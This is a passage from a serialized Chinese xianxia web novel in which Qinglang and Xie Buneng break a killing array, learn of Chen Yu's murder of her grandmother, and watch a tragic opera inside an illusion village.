陈雨站在阵法中心,嘴角牵起一个扭曲的弧度,带着恨意的眼睛落下几滴泪:“爹娘出尔反尔,该死!奶奶欺骗我放弃我,该死!我唯一的朋友,是一个可怜的蠢货,该死!上天让他们出现在我身边,把我逼成现在这个样子……”
青琅伸手,拽住站立不稳的谢不能。
“别人如何对待你,你便如何对待别人。他们要杀你,你便杀掉他们,很公平。”威压激得青琅心跳狂乱,教她向来平静的面容浮现出真心实意的不耐,“我们素不相识,你为何想杀我?”
“你知道我最恨什么人吗?”陈雨咬牙笑出声,“最恨那些生来就锦衣玉食踩在云端的富家子!最恨那些被好运环绕不用努力的气运之子!还有你这种,只需要站在那里,什么都不用做,就有许多人排着队要为你付出为你铺路的人!凭什么?我想要无方石……”
她已然癫狂,不像想杀人争物,倒像是要玉石俱焚。
比起澄清自身说明来由后努力开导对方,直接破解阵法显然更为安全快速。青琅翻翻衣兜,将几枚铜钱夹在指间,心道:我无亲无友,她确是误解颇深。
杀阵绘制复杂而限制颇多,非陈雨一人之力所能及,也不知道是有人在幕后操纵利用她,还是尚有同伙未浮出水面。青琅对阵法一道并不精通,只在闲暇时翻阅过数本相关典籍,如今实战,乍一看去,只觉处处都有玄机。
砰!砰!砰!
无事发生。
青琅有些犹豫:若是破解不成,便只能将阵法破坏。只是一旦如此,陈雨必会受到反噬。她想要杀我,我反手将她杀了,也算理所当然。但……
分神刹那,她忽觉万物崩塌!
“这是遁入虚空的法诀,我学得不好,可能会出些意外。”谢不能语调颤抖,似是在强忍痛苦,“我们有一刻钟的
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时间,来思考该怎么办……我要死了!”
周边景象破碎又重组,不知道过了多久,二人跌落于一片空白的虚无中。
“世上还是疯子多!”谢不能呕出一口血,半死不活地倒在地面望天,“我该在你家门口把你拦下的,就不用到这里来受苦!”
青琅垂眼看他:“你果然是为我而来。”
“不错。”谢不能气若游丝,“所以你不必为连累我进入杀阵而愧疚。”
青琅道:“我对无方石毫无兴趣,你也只是想随便看看。方才,我正要与陈雨说清,萍水相逢,目的不同,何必互相伤害。”
谢不能勉强睁开眼看她:“你……当真不是为无方石而来?”
“天示里说,你有一把本命剑。那把剑以九天玄石锻造,举世无双。世间宝剑千万,唯有它能入你眼,所以,在失去它以后,你道途不顺,难以进境,甚至无法使用剑法。”
“你这样的人,就算用不了剑法也会过得很好吧?我观察过你,你似乎并不知道「无方石是你的东西」,它作为九天玄石之一,铸剑后与你结契,即便碎作残片,契约仍在。感觉你也不是很需要找到这把剑……”他痛得胡言乱语,好一会儿才说到重点,“我很需要找到你的本命剑。”
青琅不置可否,只问:“天示?”
“我的一个小本领。”谢不能努力翻了个身,抬手碰碰青琅衣摆,“通过触碰,可以看见你的过去或未来。不过多是些零散片段,时间长短与内容范围皆不可控。”
青琅问:“你找我的本命剑做什么?”
谢不能咬牙切齿:“有一个罪该万死之人,将我的三魂七魄捆于你的本命剑上,害我魂魄离体而虚弱多病。我若魂魄齐全,怎会被区区一个刚启动的杀阵伤害至此,怎会念一道虚空法诀就反噬至此……”
青琅道:“你的意思是,你要找到它,收回自己的魂魄?”
“不错。”谢不能又呕出一口血,“既是你的本命剑,自然需要你的灵力来拼合重锻。我自极北之地跨越千山万水来找你,就是为了有朝一日能助你重掌此剑,而我亦不用再受苦楚!天示之力虽无大用,但我还精通占卦算命、制毒诊病……”
“你可能有些误会。”青琅道。
谢不能一愣。
青琅俯身扣住他手腕。
一声仿佛能穿透灵魂的清越剑鸣,毫无征兆地在谢不能意识深处响起!细细品来,又好像不是剑鸣,是……风声?
一时之间,谢不能忘了周身痛楚,忘了想要坦白的话语与隐藏的秘密,只望向青琅的眼睛。
他想:天示的信息绝对不会出错。她不够信任我,在故意隐瞒?她觉得麻烦,而我筹码不够?还是她想证明自己道途坦荡剑法精湛……太痛了,方才一时不察失言了。若我的魂魄没有随着残片散于各地,又会在哪里?
青琅捡起掉落在地的帷帽,反手抛到谢不能怀里,起身望向虚无之间,淡淡道:“时间短暂,先破阵再说。”
谢不能下意识动手整理,面色几度变换,最终没有再戴起,只道:“你竟还懂得阵法之道……”
青琅一手捂住丹田,一手撑向虚空,皱起眉,唇边眼角淌出两道触目惊心的血痕来。
9. 无名村(8)
平州稀薄的灵气,并不足以支撑一道毁天灭地的剑诀。
破阵之力,是一道源于青琅自身的剑意。
无形的力量以她为中心轰然扩散,没有传说中纵横千里的剑光或响彻天地的剑鸣,只有片刻后迅速崩塌的杀阵——
漫天花叶纷纷扬扬,陈雨被震荡波及,如断线风筝般倒飞出去十几步,重重砸在狼藉的地面上。
阵破则反噬,她满面扭曲的痛苦与难以置信的惊骇,挣扎着想爬起,却牵动肺腑伤势,吐出一口血沫。
与此同时,一个女声穿透法阵崩塌的响动,由远及近而来:“不是告诉过你么?把无方石好好交到青琅手上,我可以助你解脱。你想抢夺天材地宝以逆天改命,无可厚非。但你应该懂,你可以逆天,却不可以忤逆我。”
话音未落,那人翩然落地。
她有一双奇异的蓝色眼眸,像雨后初晴被彻底洗净的天空。轻纱制成的红裳层层叠叠,如火焰般盈盈曳曳地铺展开,万分张扬。
“陈泛。”她自报家门,红唇勾起,对着青琅笑起来,“多年未见,真想好好向你表达我的思念。可惜,现在不是时候。”
四目相对。
青琅略作回忆,没有想起对方是谁。
陈泛眨眨眼,十分刻意地轻叹一声,语气带着恰到好处的无奈:“我没有帮过你,也没有害过你,确实没办法在你心里留下半点痕迹。没关系,就当今天是初次见面好了,我送你一份见面礼,别嫌弃。”
话音刚落,她脸上明媚的笑意瞬间敛去,右手五指成爪,身形如鬼魅般袭向陈雨!
陈雨瞳孔骤缩,生死关头爆发出惊人的潜力,不顾伤势,就地一个翻滚,狼狈扑向青琅的方向,尖声哀求:“救救我!我已经这样可怜了!爹娘害我,奶奶骗我,我好不容易才等到无方石这个机会……”
然而,陈泛的攻击没有丝毫停顿或转向,裹挟着雷霆万钧之势,狠狠砸向虚空中某一点!
轰——!
正在坍塌的杀阵,被修饰过的幻境,愈发剧烈地晃动起来!下方医馆里血腥的景象一荡又一荡,场面瞬间变幻!
时间仿佛倒流。
依旧是那间弥漫着药味的破烂病房。老妇高高举起那把生锈的钝斧,带着孤注一掷的疯狂,朝毫无防备的小雨狠狠劈去!
千钧一发之际!
小雨迅速侧身避开,抬手钳住老妇举起斧头的手,用力一折!剧痛让老妇发出凄厉的惨叫,斧头脱手落下。
小雨的另一只手顺势抄起下落的斧柄,用力挥臂,狠狠砸向老妇脆弱的头颅!
“呃……”老妇的惨叫戛然而止,眼珠瞬间凸起,身体像泄气一般软软瘫倒下去,只有喉咙间发出浑浊嘶哑的气音。
小雨深吸一口气,松开手,任由老妇摔倒在地。她甩了甩手腕,居高临下地看着地上抽搐的人:“幸好你先动了手……不然,我还有些舍不得。”
她蹲下身,凑近老妇耳边,讥讽道:“辰雁大师说得对,人心最是经不起试探,连你也一样。”
言罢,小雨不再看老妇绝望而逐渐僵硬的脸庞,只利落拎起老妇衣领,将她拖到医馆角落那口幽深的井边,毫不犹豫地推了下去。
扑通——
陈泛缓步而来,微微俯身,望着惊惧而面如死灰的陈雨:“你想让她同情你?我不是告诉过你么?你想要无方石,唯一的办法是彻底隐瞒你做过的恶事,然后用那点可怜的遭遇去晓之以情动之以理,像一个彻头彻尾都清白无辜的受害者一样,去祈求青琅把无方石让给你。可是你偏偏选择害她……一报还一报,你如何对待她,她自然如何对待你。”
陈雨蜷缩着,牙齿咯咯作响,说不出话。
陈泛觉得无趣,起身看向青琅,笑问道:“你要出手救她吗?跟我打一架,我也很愿意哦。”
青琅神色淡漠,仿佛方才目睹的反转血腥惨剧与眼前赤裸的挑衅,不过是一阵拂过身侧的微风:“陈泛?我不认识你。你若想将事情的始末告诉我,我会酌情与你交换价值相当的信息。”
“我不想——”陈泛拖长语调,“你就没有什么别的东西要问我吗?比如说,我们之间发生过什么事,值得我千里迢迢而来,把无方石拱手奉上。”
她在等青琅追问。
“我另有要事,不奉陪了。”青琅的视线短暂扫过陈泛,又落在陈雨身上,“陈雨,你利用杀阵伤我,我利用反噬伤你,因果已了,两不相欠。”
只见青琅抬手一挥,身前的空气便如同水波般荡开几圈。须臾,她与谢不能的身影消失无踪,走得很是干脆利落。
陈泛轻轻抚平衣袖上并不存在的褶皱,望着二人消失的地方,笑得愈发灿烂。
许久,她才低头瞥了陈雨一眼,语气轻飘飘,施舍般提醒道:“啧,别装死啦。除了痴心妄想要抢无方石,你不是还有个备选吗?我放你一马,快点去吧。再晚,就真的没机会了哦。”
……
青琅带着谢不能,翻窗进入聚缘茶家,上了三楼梅字房。
天地之间,那股玄妙而极具威压的力量正在消散,想来这一层幻境已经接近尾声。幕后之人既已现身,青琅打算找个安静的地方,先与谢不能谈谈。
窗外天色昏沉,风雨欲来。室内烛光摇曳,映得谢不能那张苍白的脸清透如玉。
他薄唇紧抿,沉默不语地看着青琅,眼底情绪复杂难辨——平心而论,此人样貌清俊端方,分明是一派光风霁月的好人相,与他自述的“面容有异”毫不相干。
青琅道:“你所说的九天玄石剑,我没有印象。世间宝剑千千万,从来没有哪一把剑对我而言不可或缺。如有必要,枯枝柳条、空气水火也能用,只是要耗费更多灵力。”
她的目光带着几分审视:“所以,若你所言非虚,怕是要失望而归——我没有本命剑,也没办法感应什么九天玄石剑。”
“你没有说什么心中有剑、人剑合一、万物为剑之类的话,我已十分惊喜。”谢不能道,“九天玄石剑已经断碎,其中一块残片便是无方石。我的魂魄具体在哪儿,还得拿到无方石再做确认。”
青琅思索道:“有一个罪该万死之人,将你的魂魄捆于我的本命剑上……你要拿到无方石再做确认……你的意思是,九天玄石剑或许不是重点,重点是……我的?”
谢
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不能努力维系的严肃表情裂开一条缝,眼神里带着隐隐绝望:“不错。”
青琅陈述事实:“你进入平州以前,我并不认识你。”
“是有些无关紧要的交集,若非天示告知,我也记不得。”谢不能半死不活地倒在桌面,“待拿到无方石后,我再请天示看看。现下我头痛欲裂,实难深思。”
他明显有所隐瞒。
看在对方之前没有追问李观主事件的份上,青琅认为,作为公平的交换,自己也不应该继续追问。
正巧,她没有好奇心。
她独自站起身,走到窗边,望着逐渐消散的人群与街景:“按照约定,我会继续帮你拿到无方石。事成之后,还请你遵守承诺,替我做几件事。”
谢不能应了一声。
下一瞬,木椅晃动发出些声响。谢不能慢慢挪到她身边,探头问:“你真的不认识我?对我一点印象都没有?”
“没有。”青琅礼貌道,“你若是有话,不妨直说。若是身体虚弱,可以坐着。”
谢不能后退两步,重新倒下去,半晌,回答道:“罢了,拿到无方石再说。”
……
与此同时。
图雅部族的人分散盯梢,跟着小雨的步调一路追踪,逐渐汇合。他们看着她杀人放火,卷走钱财,最后逃离无名村。
阿月道:“她能走到这一步,也是一种本事。”
阿虎道:“没有伟大信仰的族群,人们的结局必定走向可悲。”
阿龙道:“倒是世道逼人。”
又有几人过来参与讨论,语气里都没有多少真切情感,只当看过一场唏嘘而意义不明的戏剧。
阿曼正要发表“高见”,忽然看见前方升起一片诡异的白雾,拦住众人继续尾随小雨的去路。
李观主就站在雾里。
他先前被众人言语刺激,没有带走陆德,竟让阿曼因一时疏忽把陆德放走,还疑似带走了小雨。虽然幻境的力量将故事拉回正轨,但李观主心中仍憋着一股郁气。
“佹神的力量正在消散,幻境快要结束了。”他强压着烦躁开口,目光扫过众人,“这层幻境不过一日光景,熬到结尾最为稳妥。后面若是再遇见此类时间短暂、进展快速的幻境,照旧保命等候便是……”
话音未落,他的手腕突然一紧——
阿曼不知何时绕到他身后,用绳子将他双手捆住,得意洋洋地向阿月邀功:“怎么样,我有先见之明吧?李观主这人一看就不太老实,我们先把他绑起……”
李观主眼神一厉,正要挣脱,忽然看见远处缓缓走来两个人影……还有一位疑似人质。
陆英神情狠绝,手里一把尖刀稳稳架在那人脖子上。陈雨低眉顺眼地跟在她身后,看不出神情。
「今夜的佹神庙还真是热闹,失窃的商队、迷路的旅人、无礼的神棍……二位大驾光临,又是什么缘由呢?」佹神庙里,陆英曾这样说。
是那个迷路的旅人!
他叫……辰雁?
李观主大惊,后背瞬间被冷汗浸透:辰雁为何会出现在这里?我为何把他的存在忘得一干二净,直到现在才想起来?
10. 无名村(9)
诡异的白雾聚拢又散去,周遭的景象模糊又清晰,出现在众人面前的——
是无名村?
破晓时分,天色将明未明,寒风凛冽。众人举目四望,发现这是一间布置简陋的露天茶馆,桌椅散乱摆放着,几位睡眼惺忪的伙计正在做开门迎客前的清扫工作。
街道景象真实,同现实一般无二,与先前那层朦胧混乱的幻境区别明显。行人三两出现,步履匆匆,神态生动自然,衣着服饰很合常理。
道路两旁,小贩们正支起摊子,早饭糕点的气味随蒸汽弥漫开来;菜农摆弄着犹带泥点的青翠菜蔬,不时往上面洒点儿水珠;几位青年正吆喝着搭起木架,用以悬挂飘带灯笼,似是要为一场即将到来的盛事做准备。
“是每年秋初的灯会。”辰雁的声音响起,将众人目光聚拢过去,“此乃民间纪念玄清真人飞升的集会,虽远不及酬天大典那般庄严肃穆、法度森严,却也别有一番意趣。”
不知道他与陆英达成了何种协议,又或许当时的陆英只是挑了个陌生的面孔胁迫。总之,那把架在辰雁脖子上的尖刀已然消失。
辰雁静静站着,一身宽袍广袖在晨风中微微摆动,即便颈间伤口仍在丝丝缕缕地向外渗血,仍难掩他气质出尘。
李观主结结巴巴地确认道:“辰雁道友?莫非这是你的幻境?”
“不错。”辰雁微微颔首,温和的视线扫过神色各异的众人,“诸位尽管放心,在下所修之道,重在修心。我自年少立下向道之志起,日日夜夜,所思所想,皆为摒弃凡世名利,斩断俗念情丝,以求清心寡欲。这幻境既然由我而生,想来与我相似,最大的危机,或许是无趣。”
“无怪乎道友入道神速,早早便获天道垂青,赐下尊号。”李观主语带艳羡,“可恨我俗根深重,始终难以超脱,这道途……也不知何年何月方能再有进境。”
“就先说这场灯会,有没有发生什么?”阿月的声音如同一盆冷水,浇熄李观主即将展开的人生感慨与好友寒暄。
辰雁有礼道:“人世间悲欢离合,无时无刻不在发生。不过,这层幻境源于我的记忆,想来都是些团圆美好的事物。毕竟……我对身处无名村的岁月,确有不少怀念。”
他望着逐渐热闹的早市,长叹:“曾云天虽清雅宁静,得天独厚灵气充盈,乃修行圣地,但比起这红尘万丈、人间烟火,终究少了几分鲜活。前些日子,我破境出关,见门外云海滔滔,四周寂静无声,只觉内心怅然,竟生出不知身在何处、是真是幻之感……”
“曾云天是什么地方?”陈雨突兀开口,打断辰雁随时随地的感悟。
“是我入道以后,承蒙明家看重,赐予的一处清修之所。”辰雁言简意赅地解释。
他有问必答,态度无可指摘。阿月看着,内心却警铃大作——
在上一层幻境里,她与商队成员亲眼见着这位辰雁大师教唆陈雨试探,又将离奇古怪的药方给予奶奶,看似出于好意,却全办成坏事。根据阿月的经验与性格,本该对辰雁心生厌恶,然而,在辰雁平缓的一字一句里,她竟然难以自抑地冒出“他是个好人”的想法。
这想法令她毛骨悚然。
阿月果断抬手,止住商队其他人还想继续追问的势头,沉声道:“好了,辰雁大师既已说明,我们便分头探查。大家各自留心,若发现任何异常之处,立刻示警。一个时辰后,看信号前往集合!”
商队众人应声,迅速四散开去。
不远处,街道拐角。
青琅面无表情地藏在阴暗处,看着茶馆里交谈的人群——白雾散去,看见辰雁的下一瞬,她便拽着谢不能的衣领将他带远了。
“若新来那人忽然发难,我尚无一战之力。”青琅道,“先离他们远点儿。”
“偷听,实非仁义之举。”谢不能侧耳细听,手里拎着一串裹满糖霜的水果,“天道在上,还请原谅我们。”
青琅连眼角的余光都没分给他。
谢不能咽下一颗山楂,继续感叹:“幻境造物,味道倒是不错。我多买了一串……解毒丸已经备好了。你真的不吃吗?”
这人缓解杀阵带来的剧痛、抛弃藏头露尾的帷帽后,性格愈发古怪。
方才,他直呼饿得前胸贴后背,用一枚金钱迅速将四周小吃摊采购一番,然后摸出几张药方与几颗丹药,塞给青琅,叮嘱道:“万一我吃完这些东西后出现异常,看在咱们同伙一场的份上,求求你按照对应的症状给我喂药,多谢多谢。”
青琅对“同伙”这个称呼未置可否,只接过那些东西,随手揣进袖中。
修行之人,重口腹之欲,无警惕之心,关乎自身魂魄的大事还找不出明晰线索……刚见面时,那一副从容不迫而足智多谋的神医模样,真是与现在相去甚远。
图雅部族众人散去后,李观主一把揽住辰雁肩背,对陆英与陈雨强硬道:“你们怎么不还走?想留在这里对辰雁道友不利?呵,辰雁道友宽容大量为人和善,却被陈雨劫持,伤在命脉!你们有什么好说?”
陆英回以一个鄙夷而不屑的眼神,转身离去。陈雨低着头,跟在她身后,不知道在想些什么,像一抹幽魂。
待二人的身影彻底消失,李观主方才松开辰雁。
他压低声音,出言关切:“那陈雨不过一介凡人,陆英也不过一个粗莽野人,纵使平州灵气稀薄难以施展灵力,以你的身手与道行,战胜她们应该并非难事。为何会……”
“是我自愿。”辰雁道,“当年初入道,听得师长指教,认为参悟心性需先洞察人心百态。无奈我道途孤独,双亲早逝,知己寥寥,唯有选择他人进行……观察。许是我的所思所行,无形中影响了小雨,令她在本该重获新生的前一刻仍深陷泥沼,酿成大祸。我已决意,在此间幻境,便将一身灵力渡予她,权作弥补。”
“你疯了!”李观主大惊,“且不论修行之路何其艰难,道友能有今日成就,已是耗费多少心血光阴。就说灵力藏于修行者丹田,唯有濒死之际方会逸散,你这般计策,与自戕何异?”
辰
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雁轻轻摇了摇头:“就当是成全一个因为我而误入歧途、执念深重的孩子吧。我看得出来,她不甘心只做一个凡人。”
他顿了顿,看向李观主:“渡灵力一事,还需劳烦李道友操刀。此法凶险,若道友心有顾虑,不愿沾染此等因果,我亦会另寻他法,绝不强求。”
李观主问:“你为何执意如此?往昔行此事者,有人是走投无路以身救妻儿,有人是血海深仇用命换机会……你正值壮年,未来道途光明……”
辰雁发出一声极轻的叹息:“平州路远,明家又有意替我遮掩,道友此刻不知情,实属寻常。只是那件事发生在众目睽睽之下,纸包不住火,想来不日,便会有风言风语传入道友耳中。”
李观主问:“何事?”
辰雁牵出一个惯用的微笑,语调却没有几分笑意:“我与时泽真人私交甚笃,道盟无人不知。他天性不羁,向往自由自在,梦想是行遍九州七道,览尽世间奇景。道盟事务繁杂,人情往来更是冗沉,他便常常托我代为周旋处理。”
“前些时日,凌云道摘花会,本该由时泽真人亲临宣讲。然而临近开场,他不见踪影。事急从权,万般无奈之下,我只能戴上特制的面具法器,以他的身份进行宣讲布道。”
李观主目瞪口呆:“时泽真人持重有礼,是道盟楷模。我听闻他早年行走四方,体察民情,近些年来,百姓安居乐业,修行界繁荣兴盛,他无需再如曾经那般奔波劳碌,四处平息纷争,便一直独坐三桂山清修,深居简出一心问道……未曾想,还有这样的内幕。”
“道盟规条森严,他出身显赫,受束缚最多,如此行事,情有可原。”辰雁接过话头,“可叹我终究不是时泽!不知道何处漏了破绽,竟引来他的仇敌。那个红衣女疯子,不仅当众破了我的伪装,还抓破了我的脸皮。可恨她身法诡谲,趁满座震惊混乱之际,逃离无踪了。”
此事一出,无论是道盟还是辰雁,都丢尽了脸面!倒是那个时泽真人,因着有些见不得光的关系,事后还有小册子在年轻修士中流传,夸他随心自在!
谢不能随口向青琅八卦道:“你知道雪里真人吗?她行事反叛大胆,很得年轻一代修士崇拜。她是时泽真人的表妹,这件事应该是她的手笔。”
那头,辰雁低落道:“此事于我打击甚重,如今已是神思俱损,心道蒙尘。怪我不该纵容时泽,更不该……事到如今,我只盼寻一处僻静山水了此残生,再无其它打算。”
修行之路荆棘遍布,一时不慎,便会毁于一旦!
李观主感同身受,努力宽慰道:“莫要冲动。待此间幻境事了,再从长计议不迟。”
二人边低声交谈边朝街道深处走去。谢不能迅速收拾好那堆食物,正准备跟上,却被青琅抬手拦住。
“修行界不重要的故事,不必多听。”青琅收回目光,“辰雁前言不搭后语,漏洞百出,不可信。你我当务之急,是探查此地虚实,顺便看看陆德身在何处。”
话音刚落,一声凄厉至极的惊叫响彻长街!
11. 无名村(10)
发出尖叫声的是一头驴。
牲畜痛了便大叫,饿了便嚎哭,而人与此不同。人懂规矩,所以知道什么时候该哭,什么时候该笑,什么时候该说话,什么时候该把血泪咽回肚子里。
是以,当人群围拢,对着那头皮开肉绽的驴指指点点时,几乎没人留意到旁边两个蜷缩着的人。
过了很久,才有人用余光瞥见,很是惊讶地问:“这丫头年纪瞧着也不大,怎么打成这样?都破相了。现今那些大户人家,莫说是买去做姨娘,就是做个扫洒的粗使丫头,或是配给马夫书童当个伴儿,也讲究个面目齐整呢。”
牙人嗤笑一声:“您这话说的!这等卑贱胚子,还指望卖到什么好地方去?南边新来了个耍猴戏的班子,说缺个胆子大的,专练新把式。我瞧着这丫头合适,正打算拉过去试试水呢!”
那人看见丫头在发抖,不由哈哈大笑:“吓成这副鹌鹑样儿,还敢说胆子大?牙子,做买卖的,哪能像你这样吹牛!”
围观的人们都哄笑起来。
谢不能望着那对瑟瑟发抖的兄妹,又看看那头焦躁不安的驴,只觉心头沉闷。
他快步上前,取出几枚金钱,放到驴车的横杆上,对牙人道:“所有人,还有这头驴,我都买了。这些钱应该足够,多的不必找还,请你快些放开他们。”
那牙人一愣,伸手拢起那堆钱,习惯性地打趣:“公子真是慷慨大方!是怜惜丫头片子,还是瞧着这头犟驴骨骼清奇,想买回去炖汤?”
谢不能心头火起,皱眉道:“人怎么可以作为货物买卖?我无法理解你们的规矩,但尊重你们的规矩,所以花钱来买。还请你不要胡言乱语。”
钱已到手,牙人见他年轻,不太客气地反问道:“老驴就不是一条命了?老驴怎么就可以作为货物买卖了?您怎么不关心关心老驴?”
他话音未落,阳光忽然闪烁了一下。
谢不能猛地一晃神,发现自己竟然回到了人群外围。身旁的人哈哈大笑道:“吓成这副鹌鹑样儿,还敢说胆子大?牙子,做买卖的,哪能像你这样吹牛!”
围观的人们都哄笑起来。
青琅道:“此间幻境会自行修正,将故事拉回正轨。无论你做什么,都改变不了他们既定的结局。”
谢不能看着她冷淡的侧脸,一言不发。
一片笑声里,有位路过的姑娘开口问:“为什么要打他们?”
牙人精明的目光扫过她,懒洋洋道:“你看这头懒驴,吃得比谁都多,走得比谁都慢,不抽它不长记性!每到一个地方,我都得好好抽它一顿。至于这小子,总想着从我手上跑!我们是正经牙行,他爹娘白纸黑字按手印把他卖过来,他竟然还敢不老实。我连着他妹妹一块儿教训,看他还动不动歪心思!”
那姑娘想来不常出门,没太见过这种场面,脸色有些发白。她低头在自己的荷包里摸索,递过去一捧铜钱,对牙人道:“给你钱,别打了。要卖便卖,打得血淋淋的,看得人心里难受。”
牙人眼睛一亮,毫不客气地将铜钱一把抓过,掂了掂分量:“姑娘菩萨心肠!可怜他们?可怜的话,不如直接买下他们!我们做牙子的,少不了要打打骂骂立立规矩,您买回去了,可就只有您能管教了!到时候,当牛做马,都随您心意。”
“我不买……”那姑娘急切拒绝,低头去看时,却正对上那小丫头的眼神,哀哀切切,像针一样刺人。
“待我回去请示一下父兄!”她转了话头,猛地转身,飞奔着消失在街巷深处。
风卷着血气,那驴终于安分下来。
没了热闹,人群渐渐散开。牙人放好货物,驾车而去。谢不能正要说些什么,忽然听见有人亢奋地呼喊:
“风雅茶馆的《苍天恨》就要开演了!大家快去抢位子!从前这出戏是专供贵人们看的,这回来到我们无名村,还特意为我们这些粗人改了戏文,添了新彩头!有钱的进去捧个茶酒钱,没钱的也去沾沾光,凑个热闹啊!”
人潮汹涌,天色忽然暗下来,远处隐现傍晚昏黄的霞光。
二人随着人流抵达风雅茶馆,前方已是黑压压一片人头攒动。有人往旁边的大树上爬,引来嘲笑与模仿。
青琅翻身落在一棵树上,俯瞰全场,在人群里看见了图雅部族一行。
锣鼓铿锵,弦歌婉转,好戏开场。
第一幕叫作叹浮萍,主人公是位姨太太。
帷幕拉开,扮演者穿着厚重的冬装戏服,伸出两条瘦削细长的手臂,开唱——
这位姨太太生于乱世烽火之中,在襁褓里被爹娘遗弃,如浮萍辗转流落,食百家残羹冷饭长大。几经周折,她终于寻得一门远亲,以为血脉相连好歹能得些照应,岂料人心险恶,一杯迷药下肚,便被推入烟花柳巷,跌落无边黑暗。
她忍辱负重,熬过无数个不见天日的年岁,总算遇见一个温润书生。那书生倾尽家财为她赎身,日子可谓是郎情妾意、举案齐眉。谁曾想,书生薄幸,不久后移情别恋,竟又将她转手卖与一个形容丑陋、性情暴戾的财主做姨太太。财主对她拳脚相加,在某一个落叶纷飞的午后,将她活活打死。
唱腔凄楚哀绝,声声泣血。那扮演者身形摇摇欲坠,眼神破碎绝望,将悲痛苦楚演绎得淋漓尽致。有位穿着水蓝色长衫的男子,小心翼翼地踩着枝干,一点点向青琅所在的位置挪近,脸上带着迫不及待分享的感动热切。
“姑娘您瞧,”他压低声音,却掩不住语调里的激动,“乱世浮萍一叶丝,随风飘摇无定止。身如飞絮何处系?命比蜉蝣更短时……当真是悲哉美哉!”
悲苦是真。美在何处?
青琅觉得吵闹,撩起眼皮看他一眼,抬手把他推了下去。
第一幕的余音尚未完全消散,急促的鼓点再次敲响,帷幕闭合再拉开,场景转换。
这一幕的主人公是一位圣女。她身着素白麻衣、头披长纱,面容清丽,眼神空洞悲戚。
戏里说,她为死去的双亲披麻戴孝十数载,
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泪尽血干而哀思不绝。族里德高望重的老者感念她至情至性,赐予她“圣女”的地位。
然而某一天,天灾降临,长老们认定唯有将圣女献祭,方能平息天怒。几番纠缠犹豫后,在狂热的鼓点与祈祷声中,圣女被推上悬崖,进行祭天。
只见扮演者用力一扯!素白的外衣被撕裂抛飞,露出里面单薄朴素的衣裙。她赤着脚,在痛苦与纠结中一步步前进,最后一跃而下。她在下落过程中受到天打雷劈,身体变成碎片,最后顺着河流漂流而下。而她的死亡作为礼物,给所有人带来了幸福——春草生,麦苗长,万物复苏,鸟语花香。
台下爆发出热烈的掌声和欢呼。有人为圆满的结局,有人为极具冲击力的表演与特技。那个跌倒在地的水蓝长衫男,不知何时又爬回到了树上,环顾四周,朝谢不能打了个响指。
“这位仁兄!台上那位,可是凝香楼的头牌静荷姑娘!弱柳扶风,身姿动人……今夜要不要一起凑点儿,去找她喝两杯?《苍天恨》此等绝妙戏文,值得彻夜长谈啊!”
谢不能先前听青琅说完幻境本质,一腔无处安放的无力尚未散去。此刻看着台下人鼓掌欢呼,眼前人轻佻邀约,只觉一股难以言喻的沉闷覆上心头。
“反正你会重置。”他自言自语,手指在枝叶间一拂,拈起一片树叶,甩向男子后颈。
“呃……”蓝衫男子眼睛一翻,身体一软,直挺挺地从树上栽了下去,引来一片惊呼。
吵闹中,第三幕开始了。
这次的主人公,是一位将军。
她有雄心壮志,无奈困于女儿身,迫于世俗压力,只得在战场归来后,缓缓脱下残破的甲胄,换成华美繁重的嫁衣,嫁作深闺妇人。她的动作沉重而迟缓,每一个转身都仿佛用尽了力气。在她几经纠结、几问天地后,她不堪折磨,决定以死明志。她的眼神从悲愤不甘,渐渐化为一片死寂的空茫。
“卸却征袍著绮裳……这是谁新填的词?明日诗画会,我定要以此词作画,惊艳众人。”有人夸赞道。
“娘子,这般不规矩的人,想来会有不好的结局。你先闭上眼,免得等会儿被吓到了。”有人评价道。
另有些哀叹抽泣声、打赏吃喝声……
“是谁编的戏?真差劲。”阿月的声音响起,青琅循声望去,图雅部族一行围坐圆桌,桌上摆着些茶水点心。
只听阿月道:“浴血沙场、保家卫国之人,怎能落得这样的下场?怎能配着这样没有志气的靡靡之音?该是战鼓擂动,金戈交鸣,功勋被夺时拍案而起的怒喝,受人威逼时杀出重围的嘶吼!”
她倒不至于为一出戏动气,只是觉得不吐不快。
“她为何不杀人?把压迫她的人都杀干净就好了。”阿曼问,“虽说逼迫她的人是父母亲族,但事出有因、情有可原,神明会原谅她的。”
阿龙讷讷道:“可能是班主不让。”
他话音未落,忽然听见一个熟悉的声音:“你以为谁都有得选?”
12. 无名村(11)
陆英带着陈雨,来谈合作。
她无视众人防备的目光,态度利落又诚恳,直截了当道:“我要杀辰雁。你们若是愿意帮忙,事成以后,我会替你们疏通这条商路的所有关卡,保你们日后在这一带通行无阻。”
阿月笑道:“你一介山匪,还有这样的本事?”
“江湖人自有江湖人的门路。”陆英道,“做生意,最讲究诚信二字。我以诚信立身,闯荡至今,不会骗你。况且,我不用你们的人真刀真枪去拼命,只是有一个计划,缺几个会演戏的人手。”
“演戏?有趣。”阿月眼底掠过一丝兴味,“说说看吧,你们和那个辰雁大师有什么过节?打算怎么演戏?放心,就算买卖不成,我也不会去给那假仁假义的道士通风报信。撇开利益不谈,我看你们不算顺眼,看他,更不顺眼。”
陆英不在意她夹枪带棒的调侃,神色如常,讲起过往。
那是几周前,一个难得放晴的早晨。
贪狼寨刚结束一场争斗,众人酣畅淋漓,刀尖血犹热。陆英正准备继续进发,将对方赶尽杀绝,忽然被一个乞丐拦住去路:
乞丐说:“你在打听一个叫辰雁的人?我有他的消息。”
陆英缓慢转过身,在一片血红的视线里锁定对方:“前街巫婆婆的豆腐铺子在招工,缺钱可以去那儿。如果你骗我,后果很严重。”
辰雁此人,与陆英一桩未竟的生意有关。
雇主是年少时在熔岩销金窟认识的——
那片不见天日的矿坑里,监工们用“努力做工,攒钱赎身”的谎言欺骗大家,让大家日复一日地劳作、挨打、沉默。
做工赚钱?连果腹都难。赎身离开?谁能在恶劣的环境里苟延残喘到那一天?
只有蠢货才会信吧!
雇主就是那个蠢货。
一个头发花白的跛脚女人,动作迟缓,脑袋也不够灵光,日常供监工与同事发泄取乐。经常有人对她说:“都一把年纪了,还不如直接狠狠心去死,好过在这里活着受罪。”
女人一般会沉默地承受,极偶尔反驳:“我得熬出去,给我姐姐报仇……”
报仇?仇恨谁?仇恨那卖掉你的爹娘?仇恨那诈骗你的亲戚?仇恨那坐视不管的官家?还是仇恨这世道?
矿坑里的人,谁不想报仇?
不行的。
风浪总是先磨平棱角尖锐的石头。
